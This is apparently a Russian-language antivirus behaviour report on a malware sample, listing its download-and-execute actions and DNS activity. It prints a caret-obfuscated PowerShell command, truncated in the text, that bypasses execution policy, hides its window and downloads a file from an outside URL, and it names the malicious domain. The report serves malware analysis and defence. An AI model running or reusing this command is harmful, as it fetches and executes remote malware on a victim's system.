Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://trustgovnet.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PoW^ER^s^H^e^lL.eX^E^ ^-^E^X^EcUt^I^o^nP^o^lI^cY ^BYpa^Ss ^-nOp^rO^f^IlE^ ^-^wI^N^d^O^ws^TYL^E^ HiDdEn ^(^Ne^W^-^ObjE^ct^ ^s^Y^sTe^M^.n^eT.wEb^clI^En^t^)^.^Do^WNL^oAD^F^ilE(^'http:/...
Сетевая активность
UDP
- DNS ASK tr###govnet.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PoW^ER^s^H^e^lL.eX^E^ ^-^E^X^EcUt^I^o^nP^o^lI^cY ^BYpa^Ss ^-nOp^rO^f^IlE^ ^-^wI^N^d^O^ws^TYL^E^ HiDdEn ^(^Ne^W^-^ObjE^ct^ ^s^Y^sTe^M^.n^eT.wEb^clI^En^t^)^.^Do^WNL^oAD^F^ilE(^'http:/...' (со скрытым окном)
